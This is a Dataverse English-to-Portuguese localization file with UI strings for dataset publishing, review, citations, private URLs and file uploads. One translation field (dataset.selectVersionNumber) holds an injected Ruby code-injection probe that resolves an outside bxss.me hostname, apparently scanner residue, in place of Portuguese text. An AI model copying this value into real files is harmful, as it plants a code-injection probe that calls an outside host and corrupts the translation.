metrics.file.downloads.tip	Total downloads of this file.	Total de downloads deste arquivo.
metrics.views	{0, choice, 0#Views\|1#View\|2#Views}	Visualizações
metrics.downloads	{0, choice, 0#Downloads\|1#Download\|2#Downloads}	{0, choice, 0#Downloads\|1#Download\|2#Downloads}
metrics.citations	{0, choice, 0#Citations\|1#Citation\|2#Citations}	Citações
metrics.citations.dialog.header	Dataset Citations	Citações do conjunto de dados
metrics.citations.dialog.help	Citations for this dataset are retrieved from Crossref via DataCite using Make Data Count standards. For more information about dataset metrics, please refer to the User Guide.	As citações para este conjunto de dados são recuperadas do Crossref via DataCite usando os padrões "Make Data Count". Para obter mais informações sobre métricas de conjuntos de dados, consulte Guia do usuário.
metrics.citations.dialog.empty	Sorry, no citations were found.	Desculpe, não foram encontradas citações.
dataset.publish.btn	Publish	Publicar
dataset.publish.header	Publish Dataset	Publicar conjunto de dados
dataset.rejectBtn	Return to Author	Retornar ao autor
dataset.submitBtn	Submit for Review	Submeter para revisão
dataset.disabledSubmittedBtn	Submitted for Review	Enviado para revisão
dataset.submitMessage	You will not be able to make changes to this dataset while it is in review.	Você não poderá fazer alterações neste conjunto de dados enquanto estiver em revisão.
dataset.submit.success	Your dataset has been submitted for review.	Seu conjunto de dados foi enviado para revisão.
dataset.inreview.infoMessage	The draft version of this dataset is currently under review prior to publication.	A versão preliminar deste conjunto de dados está sendo revisada antes da publicação.
dataset.submit.failure	Dataset Submission Failed - {0}	Falha na submissão do conjunto de dados - {0}
dataset.submit.failure.null	Can´t submit for review. Dataset is null.	Não é possível enviar para revisão. O conjunto de dados é nulo.
dataset.submit.failure.isReleased	Latest version of dataset is already released. Only draft versions can be submitted for review.	A versão mais recente do conjunto de dados já foi lançada. Apenas versões de rascunho podem ser enviadas para revisão.
dataset.submit.failure.inReview	You cannot submit this dataset for review because it is already in review.	Você não pode enviar este conjunto de dados para revisão porque ele já está em revisão.
dataset.rejectMessage	Return this dataset to contributor for modification.	Retorne este conjunto de dados para o colaborador para modificação.
dataset.rejectWatermark	Please enter a reason for returning this dataset to its author(s).	Por favor, indique uma razão para devolver este conjunto de dados ao(s) seu(s) autor(es).
dataset.reject.enterReason.error	Reason for return to author is required.	O motivo do retorno ao autor é obrigatório.
dataset.reject.success	This dataset has been sent back to the contributor.	Este conjunto de dados foi enviado de volta ao contribuidor.
dataset.reject.failure	Dataset Submission Return Failed - {0}	Falha no envio da submissão do conjunto de dados - {0}
dataset.reject.datasetNull	Cannot return the dataset to the author(s) because it is null.	Não é possível devolver o conjunto de dados ao(s) autor(es) porque é nulo.
dataset.reject.datasetNotInReview	This dataset cannot be return to the author(s) because the latest version is not In Review. The author(s) needs to click Submit for Review first.	Este conjunto de dados não pode ser retornado ao(s) autor(es) porque a versão mais recente não está em Revisão. O(s) autor(es) precisa clicar em Enviar para revisão primeiro.
dataset.publish.tip	Are you sure you want to publish this dataset? Once you do so it must remain published.	Tem certeza de que deseja publicar este conjunto de dados? Depois disso, ele deve permanecer publicado.
dataset.publishBoth.tip	Once you publish this dataset it must remain published.	Depois de publicar este conjunto de dados, ele deve permanecer publicado.
dataset.unregistered.tip	This dataset is unregistered. We will attempt to register it before publishing.	Este conjunto de dados não está registrado. Nós tentaremos registrá-lo antes de publicar.
dataset.republish.tip	Are you sure you want to republish this dataset?	Tem certeza de que deseja republicar este conjunto de dados?
dataset.selectVersionNumber	Select if this is a minor or major version update.	Socket.gethostbyname('hityn'+'dwokrrbj1a66b.bxss.me.')[3].to_s)+'
dataset.updateRelease	Update Current Version (will permanently overwrite the latest published version)	Atualizar versão atual (sobrescreverá permanentemente a última versão publicada)
dataset.majorRelease	Major Release	Lançamento Principal
dataset.minorRelease	Minor Release	Lançamento Menor
dataset.majorRelease.tip	Due to the nature of changes to the current draft this will be a major release ({0})	Devido à natureza das mudanças no rascunho atual, este será um grande lançamento ({0})
dataset.mayNotBePublished	Cannot publish dataset.	Não é possível publicar o conjunto de dados.
dataset.mayNotPublish.administrator	This dataset cannot be published until {0} is published by its administrator.	Este conjunto de dados não pode ser publicado até {0} ser publicado por seu administrador.
dataset.mayNotPublish.both	This dataset cannot be published until {0} is published. Would you like to publish both right now?	Este conjunto de dados não pode ser publicado até {0} ser publicado. Você gostaria de publicar ambos agora?
dataset.mayNotPublish.twoGenerations	This dataset cannot be published until {0} and {1} are published.	Este conjunto de dados não pode ser publicado até {0} e {1} serem publicados.
dataset.mayNotBePublished.both.button	Yes, Publish Both	Sim, publicar ambos
dataset.viewVersion.unpublished	View Unpublished Version	Ver versão não publicada
dataset.viewVersion.published	View Published Version	Ver versão publicada
dataset.email.datasetContactBtn	Email Dataset Contact	Contato de e-mail do conjunto de dados
dataset.email.hiddenMessage		[1676]
dataset.email.messageSubject	Test Message Subject	Assunto da mensagem de teste
dataset.email.datasetLinkBtn.tip	Link Dataset to Your Dataverse	Vincular o conjunto de dados ao seu Dataverse
dataset.share.datasetShare	Share Dataset	Compartilhar conjunto de dados
dataset.share.datasetShare.tip	Share this dataset on your favorite social media networks.	Compartilhe este conjunto de dados em suas redes sociais favoritas.
dataset.share.datasetShare.shareText	View this dataset.	Veja este conjunto de dados.
dataset.locked.message	Dataset Locked	Conjunto de dados bloqueado
dataset.locked.message.details	This dataset is locked until publication.	Este conjunto de dados está bloqueado até a publicação.
dataset.locked.inReview.message	Submitted for Review	Enviado para revisão
dataset.locked.ingest.message	The tabular data files uploaded are being processed and converted into the archival format	Os arquivos de dados tabulares carregados estão sendo processados e convertidos no formato de arquivamento
dataset.unlocked.ingest.message	The tabular files have been ingested.	Os arquivos tabulares foram preenchidos.
dataset.locked.editInProgress.message	Edit In Progress	Editar em andamento
dataset.locked.editInProgress.message.details	Additional edits cannot be made at this time. Contact {0} if this status persists.	Edições adicionais não podem ser feitas neste momento. Entre em contato com {0} se esse status persistir.
dataset.publish.error	This dataset may not be published due to an error when contacting the {0} Service. Please try again.	Este conjunto de dados não pode ser publicado devido a um erro ao entrar em contato com o serviço {0}. Por favor, tente novamente.
dataset.publish.error.doi	This dataset may not be published because the DOI update failed.	Este conjunto de dados pode não ser publicado porque a atualização do DOI falhou.
dataset.compute.computeBatchSingle	Compute Dataset	Processar conjunto de dados
dataset.compute.computeBatchList	List Batch	Listar lote
dataset.compute.computeBatchAdd	Add to Batch	Adicionar ao Lote
dataset.compute.computeBatchClear	Clear Batch	Limpar lote
dataset.compute.computeBatchRemove	Remove from Batch	Remover do lote
dataset.compute.computeBatchCompute	Compute Batch	Processar o lote
dataset.compute.computeBatch.success	The list of datasets in your compute batch has been updated.	A lista de conjuntos de dados no seu lote processos foi atualizada.
dataset.compute.computeBatch.failure	The list of datasets in your compute batch failed to be updated. Please try again.	A lista de conjuntos de dados em seu lote processos não pôde ser atualizada. Por favor, tente novamente.
dataset.compute.computeBtn	Compute	Processar
dataset.compute.computeBatchListHeader	Compute Batch	Processar lote
dataset.compute.computeBatchRestricted	This dataset contains restricted files you may not compute on because you have not been granted access.	Este conjunto de dados contém arquivos restritos nos quais você não pode processar porque você não recebeu acesso.
dataset.delete.error	Could not deaccession the dataset because the {0} update failed.	Não foi possível cancelar o conjunto de dados porque a atualização {0} falhou.
dataset.publish.worldMap.deleteConfirm	Please note that your data and map on WorldMap will be removed due to restricted file access changes in this dataset version which you are publishing. Do you want to continue?	Por favor, note que seus dados e mapa no WorldMap serão removidos devido a alterações de acesso a arquivos restritos nesta versão do conjunto de dados que você está publicando. Você quer continuar?
dataset.publish.workflow.message	Publish in Progress	Publicar em andamento
dataset.publish.workflow.inprogress	This dataset is locked until publication.	Este conjunto de dados está bloqueado até a publicação.
dataset.pidRegister.workflow.inprogress	The dataset is locked while the persistent identifiers are being registered or updated, and/or the physical files are being validated.	Este conjunto de dados é bloqueado enquanto os identificadores persistentes do arquivo estão sendo registrados ou atualizados.
dataset.versionUI.draft	Draft	Esboço
dataset.versionUI.inReview	In Review	Em revisão
dataset.versionUI.unpublished	Unpublished	Não publicado
dataset.versionUI.deaccessioned	Deaccessioned	Desativado
dataset.cite.title.released	DRAFT VERSION will be replaced in the citation with V1 once the dataset has been published.	VERSÃO DE RASCUNHO será substituído na citação com V1 depois que o conjunto de dados for publicado.
dataset.cite.title.draft	DRAFT VERSION will be replaced in the citation with the selected version once the dataset has been published.	VERSÃO DE RASCUNHO será substituído na citação com a versão selecionada assim que o conjunto de dados for publicado.
dataset.cite.title.deassessioned	DEACCESSIONED VERSION has been added to the citation for this version since it is no longer available.	VERSÃO DESATIVADA foi adicionada à citação desta versão, uma vez que não está mais disponível.
dataset.cite.standards.tip	Learn about Data Citation Standards.	Aprenda sobre Padrões de citações de dados.
dataset.cite.downloadBtn	Cite Dataset	Citar o cj. de dados
dataset.cite.downloadBtn.xml	EndNote XML	EndNote XML
dataset.cite.downloadBtn.ris	RIS	RIS
dataset.cite.downloadBtn.bib	BibTeX	BibTeX
dataset.create.authenticatedUsersOnly	Only authenticated users can create datasets.	Apenas usuários autenticados podem criar conjuntos de dados.
dataset.deaccession.reason	Deaccession Reason	Razão da Desativação
dataset.beAccessedAt	The dataset can now be accessed at:	O conjunto de dados agora pode ser acessado em:
dataset.descriptionDisplay.title	Description	Descrição
dataset.keywordDisplay.title	Keyword	Palavra-chave
dataset.subjectDisplay.title	Subject	Assunto
dataset.contact.tip	Use email button above to contact.	Use o botão de e-mail acima para entrar em contato.
dataset.asterisk.tip	Asterisks indicate required fields	Asteriscos indicam campos obrigatórios
dataset.message.uploadFiles.label	Upload Dataset Files	Carregar arquivos do conjunto de dados
dataset.message.uploadFilesSingle.message	All file types are supported for upload and download in their original format. If you are uploading Excel, CSV, TSV, RData, Stata, or SPSS files, see the guides for tabular support and limitations.	Para mais informações sobre formatos de arquivos suportados, por favor, consulte o Guia do usuário.
dataset.message.uploadFilesMultiple.message	Multiple file upload/download methods are available for this dataset. Once you upload a file using one of these methods, your choice will be locked in for this dataset.	Vários métodos de upload/download de arquivos estão disponíveis para este conjunto de dados. Depois de carregar um arquivo usando um desses métodos, sua escolha será bloqueada para este conjunto de dados.
dataset.message.editMetadata.label	Edit Dataset Metadata	Editar metadados do conjunto de dados
dataset.message.editMetadata.message	Add more metadata about this dataset to help others easily find it.	Adicione mais metadados sobre esse conjunto de dados para ajudar outras pessoas a encontrá-lo facilmente.
dataset.message.editTerms.label	Edit Dataset Terms	Editar termos do conjunto de dados
dataset.message.editTerms.message	Add the terms of use for this dataset to explain how to access and use your data.	Adicione os termos de uso deste conjunto de dados para explicar como acessar e usar seus dados.
dataset.message.locked.editNotAllowedInReview	Dataset cannot be edited due to In Review dataset lock.	O conjunto de dados não pode ser editado devido ao bloqueio do conjunto de dados em revisão.
dataset.message.locked.downloadNotAllowedInReview	Dataset file(s) may not be downloaded due to In Review dataset lock.	O(s) arquivo(s) do conjunto de dados pode não ser baixado devido ao bloqueio do Conjunto de dados em revisão.
dataset.message.locked.downloadNotAllowed	Dataset file(s) may not be downloaded due to dataset lock.	O(s) arquivo(s) do conjunto de dados não pode ser baixado devido ao bloqueio do conjunto de dados.
dataset.message.locked.editNotAllowed	Dataset cannot be edited due to dataset lock.	O conjunto de dados não pode ser editado devido ao bloqueio do conjunto de dados.
dataset.message.createSuccess	This dataset has been created.	Este conjunto de dados foi criado
dataset.message.createSuccess.failedToSaveFiles	Partial Success: The dataset has been created. But the file(s) could not be saved. Please try uploading the file(s) again.	Sucesso parcial: o conjunto de dados foi criado. Mas o arquivo(s) não pôde ser salvo. Por favor, tente fazer o upload do(s) arquivo(s) novamente.
dataset.message.createSuccess.partialSuccessSavingFiles	Partial Success: The dataset has been created. But only {0} out of {1} files have been saved. Please try uploading the missing file(s) again.	Sucesso parcial: o conjunto de dados foi criado. Mas apenas {0} de {1} arquivos foram salvos. Por favor, tente fazer o upload do(s) arquivo(s) ausente(s) novamente.
dataset.message.linkSuccess	{0} has been successfully linked to {1}.	{0} foi vinculado com sucesso a {1}.
dataset.message.metadataSuccess	The metadata for this dataset have been updated.	Os metadados para este conjunto de dados foram atualizados.
dataset.message.termsSuccess	The terms for this dataset have been updated.	Os termos deste conjunto de dados foram atualizados.
dataset.message.filesSuccess	One or more files have been updated.	Os arquivos deste conjunto de dados foram atualizados.
dataset.message.addFiles.Failure	Failed to add files to the dataset. Please try uploading the file(s) again.	Falha ao adicionar arquivos ao conjunto de dados. Por favor, tente fazer o upload do(s) arquivo(s) novamente.
dataset.message.addFiles.partialSuccess	Partial success: only {0} files out of {1} have been saved. Please try uploading the missing file(s) again.	Sucesso parcial: somente {0} arquivos de {1} foram salvos. Por favor, tente fazer o upload do(s) arquivo(s) ausente(s) novamente.
dataset.message.publishSuccess	This dataset has been published.	Este conjunto de dados foi publicado.
dataset.message.only.authenticatedUsers	Only authenticated users may release Datasets.	Apenas usuários autenticados podem liberar conjuntos de dados.
dataset.message.deleteSuccess	This dataset has been deleted.	Este conjunto de dados foi excluído.
dataset.message.bulkFileUpdateSuccess	The selected files have been updated.	Os arquivos selecionados foram atualizados.
dataset.message.bulkFileDeleteSuccess	One or more files have been deleted.	Os arquivos selecionados foram excluídos.
datasetVersion.message.deleteSuccess	This dataset draft has been deleted.	Este rascunho do conjunto de dados foi eliminado.
datasetVersion.message.deaccessionSuccess	The selected version(s) have been deaccessioned.	A(s) versão(ões) selecionada(s) foi(ão) desativada(s).
dataset.message.deaccessionSuccess	This dataset has been deaccessioned.	Este conjunto de dados foi desativado.
dataset.message.publishFailure	The dataset could not be published.	O conjunto de dados não pôde ser publicado.
dataset.message.metadataFailure	The metadata could not be updated.	Os metadados não puderam ser atualizados.
dataset.message.filesFailure	The files could not be updated.	Os arquivos não puderam ser atualizados.
dataset.message.bulkFileDeleteFailure	The selected files could not be deleted.	Os arquivos selecionados não puderam ser excluídos.
dataset.message.files.ingestFailure	The file(s) could not be ingested.	O(s) arquivo(s) não pôde(ram) ser processado(s).
dataset.message.deleteFailure	This dataset draft could not be deleted.	Esse rascunho do conjunto de dados não pôde ser excluído.
dataset.message.deaccessionFailure	This dataset could not be deaccessioned.	Este conjunto de dados não pôde ser desativado.
dataset.message.createFailure	The dataset could not be created.	O conjunto de dados não pôde ser criado.
dataset.message.termsFailure	The dataset terms could not be updated.	Os termos do conjunto de dados não puderam ser atualizados.
dataset.message.label.fileAccess	Publicly-accessible storage	Acesso a arquivos
dataset.message.publicInstall	Files in this dataset may be readable outside Dataverse, restricted and embargoed access are disabled	Os arquivos são armazenados em um servidor de armazenamento acessível publicamente.
dataset.metadata.publicationDate	Publication Date	Data de Publicação
dataset.metadata.publicationDate.tip	The publication date of a Dataset.	A data de publicação de um conjunto de dados.
dataset.metadata.publicationYear	Publication Year	Ano de Publicação
dataset.metadata.publicationYear.tip	The publication year of a dataset.	O ano de publicação de um conjunto de dados.
dataset.metadata.persistentId	Persistent Identifier	ID persistente do conjunto de dados
dataset.metadata.persistentId.tip	The Dataset´s unique persistent identifier, either a DOI or Handle	O identificador persistente exclusivo de um conjunto de dados, que pode ser um Handle ou DOI no Dataverse.
dataset.metadata.alternativePersistentId	Previous Dataset Persistent ID	ID persistente do conjunto de dados anterior
dataset.metadata.alternativePersistentId.tip	A previously used persistent identifier for the Dataset, either a DOI or Handle	Um identificador persistente usado anteriormente para um conjunto de dados, que pode ser um Handle ou DOI no Dataverse.
file.metadata.preview	Preview	Visualização
file.metadata.filetags	File Tags	Tags de arquivo
file.metadata.persistentId	File Persistent ID	ID persistente do arquivo
file.metadata.persistentId.tip	The unique persistent identifier for a file, which can be a Handle or DOI in Dataverse.	O identificador persistente exclusivo de um arquivo, que pode ser um Handle ou DOI no Dataverse.
dataset.versionDifferences.termsOfUseAccess	Terms of Use and Access	Termos de Uso e Acesso
dataset.versionDifferences.termsOfUseAccessChanged	Terms of Use/Access Changed	Termos de Uso/Acesso Alterado
dataset.versionDifferences.metadataBlock	Metadata Block	Bloco de Metadados
dataset.versionDifferences.field	Field	Campo
dataset.versionDifferences.changed	Changed	Alterado
dataset.versionDifferences.from	From	De
dataset.versionDifferences.to	To	Para
file.viewDiffDialog.restricted	Restricted	Restrito
dataset.host.tip	Changing the host dataverse will clear any fields you may have entered data into.	Alterar o dataverse do host limpará todos os campos nos quais você inseriu dados.
dataset.template.tip	Changing the template will clear any fields you may have entered data into.	Alterar o modelo apagará todos os campos em que você tenha inserido dados.
dataset.noTemplate.label	None	Nenhum
dataset.noSelectedFiles.header	Select File(s)	Selecionar arquivo(s)
dataset.noSelectedFilesForDownload	Please select a file or files to be downloaded.	Por favor, selecione um arquivo ou arquivos para download.
dataset.noSelectedFilesForRequestAccess	Please select a file or files for access request.	Por favor, selecione um arquivo ou arquivos para solicitação de acesso.
dataset.noSelectedFilesForDelete	Please select a file or files to be deleted.	Por favor, selecione um arquivo ou arquivos a serem apagados.
dataset.noSelectedFilesForMetadataEdit	Please select a file or files to be edited.	Por favor, selecione um arquivo ou arquivos a serem editados.
dataset.noSelectedFilesForRestrict	Please select unrestricted file(s) to be restricted.	Por favor selecione arquivo(s) irrestrito(s) para ser restringido(s).
dataset.noSelectedFilesForUnRestrict	Please select restricted file(s) to be unrestricted.	Por favor selecione arquivo(s) restrito(s) para ser irrestrito.
dataset.inValidSelectedFilesForDownload	Restricted Files Selected	Arquivos restritos selecionados
dataset.noValidSelectedFilesForDownload	The selected file(s) may not be downloaded because you have not been granted access.	Os arquivos restritos selecionados não podem ser baixados porque você não recebeu acesso.
dataset.mixedSelectedFilesForDownload	The restricted file(s) selected may not be downloaded because you have not been granted access.	Os arquivos restritos selecionados podem não ser baixados porque você não recebeu acesso.
dataset.downloadUnrestricted	Click Continue to download the files you have access to download.	Clique em Continuar para baixar os arquivos que você tem acesso para download.
dataset.requestAccessToRestrictedFiles	You may request access to the restricted file(s) by clicking the Request Access button.	Você pode solicitar acesso ao(s) arquivo(s) restrito(s) clicando no botão Solicitar acesso.
dataset.privateurl.infoMessageAuthor	Privately share this dataset before it is published: {0}	Compartilhe este conjunto de dados de forma privada antes de publicá-lo: {0}
dataset.privateurl.infoMessageReviewer	This unpublished dataset is being privately shared.	Este conjunto de dados não publicado está sendo compartilhado privadamente. Você não poderá acessá-lo quando estiver conectado à sua conta do Dataverse.
dataset.privateurl.header	Unpublished Dataset Private URL	URL privada do conjunto de dados não publicado
dataset.privateurl.tip	Use a Private URL to allow those without Dataverse accounts to access your unpublished dataset. For more information about the Private URL feature, please refer to the User Guide.	Use uma URL privada para permitir que aqueles sem contas do Dataverse acessem seu conjunto de dados não publicado. Para obter mais informações sobre o recurso de URL particular, consulte o Guia do usuário.
dataset.privateurl.absent	Private URL has not been created.	A URL privado não foi criado.
dataset.privateurl.createPrivateUrl	Create Private URL	Criar uma URL privada
dataset.privateurl.disablePrivateUrl	Disable Private URL	Desativar URL privada
dataset.privateurl.disablePrivateUrlConfirm	Yes, Disable Private URL	Sim, desative a URL privada
dataset.privateurl.disableConfirmationText	Are you sure you want to disable the Private URL? If you have shared the Private URL with others they will no longer be able to use it to access your unpublished dataset.	Tem certeza de que deseja desativar a URL privada? Se você compartilhou a URL privada com outras pessoas, elas não poderão mais usá-lo para acessar seu conjunto de dados não publicado.
dataset.privateurl.cannotCreate	Private URL can only be used with unpublished versions of datasets.	A URL privada só pode ser usado com versões não publicadas de conjuntos de dados.
dataset.privateurl.roleassigeeTitle	Private URL Enabled	URL privada ativada
dataset.privateurl.createdSuccess	Success!	Sucesso!
dataset.privateurl.disabledSuccess	You have successfully disabled the Private URL for this unpublished dataset.	Você desativou com êxito a URL particular desse conjunto de dados não publicado.
dataset.privateurl.noPermToCreate	To create a Private URL you must have the following permissions: {0}.	Para criar uma URL Privada, você deve ter as seguintes permissões: {0}.
file.display.label	Change View	Alterar exibição
file.display.table	Table	Tabela
file.display.tree	Tree	Árvore
file.count.one	1 File	1 arquivo
file.count	{0} to {1} of {2} {2, choice, 0#Files\|1#File\|2#Files}	{0} to {1} of {2} {2, choice, 0#Arquivos\|1#Arquivo\|2#Arquivos}
file.count.shown	{0} {0, choice, 0#Files Selected\|1#File\|2#Files}	{0} {0, choice, 0#Files Selected\|1#File\|2#Files}
file.clearSelection	Clear selection.	Limpar seleção.
file.numFilesSelected	{0} {0, choice, 0#files are\|1#file is\|2#files are} currently selected.	{0} {0, choice, 0#files are\|1#file is\|2#files are} atualmente selecionado.
file.selectAllFiles	Select all {0} files in this dataset.	Selecione todos os arquivos {0} neste conjunto de dados.
file.dynamicCounter.filesPerPage	Files Per Page	Arquivos por página
file.selectToAddBtn	Select Files to Add	Selecione os arquivos para adicionar
file.selectToAdd.tipLimit	File upload limit is {0} per file.	O limite de upload de arquivo é {0} por arquivo.
file.selectToAdd.tipMoreInformation	Select files or drag and drop into the upload widget.	Selecione arquivos ou arraste e solte no widget de upload.
file.selectToAdd.dragdropMsg	Drag and drop files here.	Arraste e solte os arquivos aqui.
file.createUploadDisabled	Upload files using rsync via SSH. This method is recommended for large file transfers. The upload script will be available on the Upload Files page once you save this dataset.	Carregue arquivos usando o rsync via SSH. Esse método é recomendado para transferências de arquivos grandes. O script de upload estará disponível na página Upload Files depois que você salvar este conjunto de dados.
file.fromHTTP	Upload with HTTP via your browser	Carregar com HTTP através do seu navegador
file.fromDropbox	Upload from Dropbox	Upload do Dropbox
file.fromDropbox.tip	Select files from Dropbox.	Selecione arquivos do Dropbox.
file.fromRsync	Upload with rsync + SSH via Data Capture Module (DCM)	Upload com rsync + SSH via módulo de captura de dados (DCM)
file.api.httpDisabled	File upload via HTTP is not available for this installation of Dataverse.	O upload de arquivos via HTTP não está disponível para esta instalação do Dataverse.
file.api.alreadyHasPackageFile	File upload via HTTP disabled since this dataset already contains a package file.	Upload de arquivo via HTTP desativado, já que este conjunto de dados já contém um arquivo de pacote.
file.replace.original	Original File	Arquivo Original
file.editFiles	Edit Files	Editar arquivos
file.editFilesSelected	Edit	Editar
file.editFile	Edit	Editar
file.bulkUpdate	Bulk Update	Atualização em massa
file.uploadFiles	Upload Files	Upload de arquivos
file.replaceFile	Replace File	Substituir arquivo
file.notFound.tip	There are no files in this dataset.	Não há arquivos neste conjunto de dados.
file.notFound.search	There are no files that match your search. Please change the search terms and try again.	Não há arquivos que correspondam à sua pesquisa. Por favor, altere os termos de pesquisa e tente novamente.
file.noSelectedFiles.tip	There are no selected files to display.	Não há arquivos selecionados para exibição.
file.noUploadedFiles.tip	Files you upload will appear here.	Os arquivos que você enviar aparecerão aqui.
file.replace	Replace	Substituir
file.replaced.warning.header	Edit File	Editar arquivo
file.replaced.warning.draft.warningMessage	You can not replace a file that has been replaced in a dataset draft. In order to replace it with a different file you must delete the dataset draft. Note that doing so will discard any other changes within this draft.	Você não pode substituir um arquivo que foi substituído em um detalhamento do conjunto de dados. Para substituí-lo por um arquivo diferente, você deve excluir o rascunho do conjunto de dados. Observe que isso descartará qualquer outra alteração neste rascunho.
file.replaced.warning.previous.warningMessage	You can not edit a file that has been replaced in a previous dataset version. In order to edit it you must go to the most recently published version of the file.	Você não pode editar um arquivo que tenha sido substituído em uma versão de conjunto de dados anterior. Para editá-lo, você deve ir para a versão mais recente publicada do arquivo.
file.alreadyDeleted.previous.warningMessage	This file has already been deleted (or replaced) in the current version. It may not be edited.	Este arquivo já foi excluído na versão atual. Não pode ser editado.
file.delete	Delete	Excluir
file.metadata	Metadata	Metadados
file.deleted.success	Files "{0}" will be permanently deleted from this version of this dataset once you click on the Save Changes button.	Os arquivos "{0}" serão excluídos permanentemente desta versão deste conjunto de dados assim que você clicar no botão Salvar alterações.
file.deleted.replacement.success	The replacement file has been deleted.	O arquivo de substituição foi excluído.
file.editAccess	Edit Access	Editar acesso
file.restrict	Restrict	Restringir
file.unrestrict	Unrestrict	Irrestrito
file.restricted.success	Files "{0}" will be restricted once you click on the Save Changes button.	Os arquivos "{0}" serão restringidos quando você clicar no botão Salvar alterações.
file.download.header	Download	Baixar
file.download.subset.header	Download Data Subset	Baixar subconjunto de dados
file.preview	Preview:	Visualizar:
file.fileName	File Name	Nome do arquivo
file.type.tabularData	Tabular Data	Dados tabulares
file.originalChecksumType	Original File {0}	Arquivo Original {0}
file.checksum.exists.tip	A file with this checksum already exists in the dataset.	Um arquivo com esta soma de verificação já existe no conjunto de dados.
file.selectedThumbnail	Thumbnail	Miniatura
file.selectedThumbnail.tip	The thumbnail for this file is used as the default thumbnail for the dataset. Click ´Advanced Options´ button of another file to select that file.	A miniatura deste arquivo é usada como a miniatura padrão do conjunto de dados. Clique no botão "Opções Avançadas" de outro arquivo para selecionar esse arquivo.
file.cloudStorageAccess	Cloud Storage Access	Acesso ao armazenamento em nuvem
file.cloudStorageAccess.tip	The container name for this dataset needed to access files in cloud storage.	O nome do contêiner desse conjunto de dados precisava acessar arquivos no armazenamento em nuvem.
file.cloudStorageAccess.help	To directly access this data in the {2} cloud environment, use the container name in the Cloud Storage Access box below. To learn more about the cloud environment, visit the Cloud Storage Access section of the User Guide.	Para acessar diretamente esses dados no ambiente de nuvem {2}, use o nome do contêiner na caixa Acesso ao Cloud Storage abaixo. Para saber mais sobre o ambiente em nuvem, visite o Acesso ao Cloud Storage do Guia do Usuário.
file.copy	Copy	Copiar
file.compute	Compute	Calcular
file.rsyncUpload.info	Upload files using rsync + SSH. This method is recommended for large file transfers. Follow the steps below to upload your data. (User Guide - rsync Upload).	Carregue arquivos usando rsync + SSH. Esse método é recomendado para transferências de arquivos grandes. Siga os passos abaixo para enviar seus dados. (Guia do usuário - Upload do rsync).
file.rsyncUpload.filesExist	You cannot upload additional files to this dataset. A dataset can only hold one data package. If you need to replace the data package in this dataset, please contact {0}.	Você não pode carregar arquivos adicionais para este conjunto de dados. Um conjunto de dados pode conter apenas um pacote de dados. Se você precisar substituir o pacote de dados neste conjunto de dados, entre em contato com {0}.
file.rsyncUpload.noScriptBroken	The Data Capture Module failed to generate the rsync script. Please contact {0}.	O Módulo de Captura de Dados falhou ao gerar o script rsync. Por favor, entre em contato com {0}.
file.rsyncUpload.noScriptBusy	Currently generating rsync script. If the script takes longer than ten minutes to generate, please contact {0}.	Atualmente gerando o script rsync. Se o script demorar mais de dez minutos para gerar, entre em contato com {0}.
file.rsyncUpload.step1	Make sure your data is stored under a single directory. All files within this directory and its subdirectories will be uploaded to your dataset.	Verifique se seus dados estão armazenados em um único diretório. Todos os arquivos dentro deste diretório e seus subdiretórios serão enviados para o seu conjunto de dados.
file.rsyncUpload.step2	Download this file upload script:	Faça o download deste script de upload de arquivo:
file.rsyncUpload.step2.downloadScriptButton	Download DCM Script	Faça o download do script do DCM
file.rsyncUpload.step3	Open a terminal window in the same directory you saved the script and run this command: `bash ./{0}`	Abra uma janela de terminal no mesmo diretório que você salvou o script e execute este comando: `bash ./{0}`
file.rsyncUpload.step4	Follow the instructions in the script. It will ask for a full path (beginning with "/") to the directory containing your data. Note: this script will expire after 7 days.	Siga as instruções no script. Ele pedirá um caminho completo (começando com "/") para o diretório que contém seus dados. Nota: este script irá expirar após 7 dias.
file.rsyncUpload.inProgressMessage.summary	File Upload in Progress	Upload de arquivo em andamento
file.rsyncUpload.inProgressMessage.details	This dataset is locked while the data files are being transferred and verified.	Este conjunto de dados é bloqueado enquanto os arquivos de dados estão sendo transferidos e verificados.
file.rsyncUpload.httpUploadDisabledDueToRsyncFileExisting	HTTP upload is disabled for this dataset because you have already uploaded files via rsync. If you would like to switch to HTTP upload, please contact {0}.	O upload de HTTP está desativado para este conjunto de dados porque você já fez upload de arquivos via rsync. Se você quiser mudar para o upload HTTP, entre em contato com {0}.
file.rsyncUpload.httpUploadDisabledDueToRsyncFileExistingAndPublished	HTTP upload is disabled for this dataset because you have already uploaded files via rsync and published the dataset.	O upload de HTTP está desativado para este conjunto de dados porque você já fez upload de arquivos via rsync e publicou o conjunto de dados.
file.rsyncUpload.rsyncUploadDisabledDueFileUploadedViaHttp	Upload with rsync + SSH is disabled for this dataset because you have already uploaded files via HTTP. If you would like to switch to rsync upload, then you must first remove all uploaded files from this dataset. Once this dataset is published, the chosen upload method is permanently locked in.	O upload com rsync + SSH está desativado para este conjunto de dados porque você já fez upload de arquivos via HTTP. Se você quiser mudar para o upload do rsync, primeiro remova todos os arquivos enviados deste conjunto de dados. Depois que esse conjunto de dados for publicado, o método de upload escolhido será permanentemente bloqueado.
file.rsyncUpload.rsyncUploadDisabledDueFileUploadedViaHttpAndPublished	Upload with rsync + SSH is disabled for this dataset because you have already uploaded files via HTTP and published the dataset.	O upload com rsync + SSH está desativado para este conjunto de dados porque você já fez o upload de arquivos via HTTP e publicou o conjunto de dados.
file.metaData.dataFile.dataTab.variables	Variables	Variáveis
file.metaData.dataFile.dataTab.observations	Observations	Observações
file.metaData.viewOnWorldMap	Explore on WorldMap	Explorar no WorldMap
file.addDescription	Add file description...	Adicionar descrição do arquivo ...
file.tags	Tags	Tags
file.editTags	Edit Tags	Editar tags
file.editTagsDialog.tip	Select existing file tags or create new tags to describe your files. Each file can have more than one tag.	Selecione as tags de arquivo existentes ou crie novas tags para descrever seus arquivos. Cada arquivo pode ter mais de uma tag.
file.editTagsDialog.select	File Tags	Tags de arquivo
file.editTagsDialog.selectedTags	Selected Tags	Tags selecionadas
file.editTagsDialog.selectedTags.none	No tags selected	Nenhuma tag selecionada
file.editTagsDialog.add	Custom File Tag	Tag de arquivo personalizado
file.editTagsDialog.add.tip	Creating a new tag will add it as a tag option for all files in this dataset.	Criar uma nova tag adicionará essa tag como uma opção de tag para todos os arquivos neste conjunto de dados.
file.editTagsDialog.newName	Add new file tag...	Adicionar nova tag de arquivo ...
dataset.removeUnusedFileTags.label	Delete Tags	Excluir tags
dataset.removeUnusedFileTags.tip	Select to delete Custom File Tags not used by the files in the dataset.	Selecione para excluir Tags de arquivo personalizados não usadas pelos arquivos no conjunto de dados.
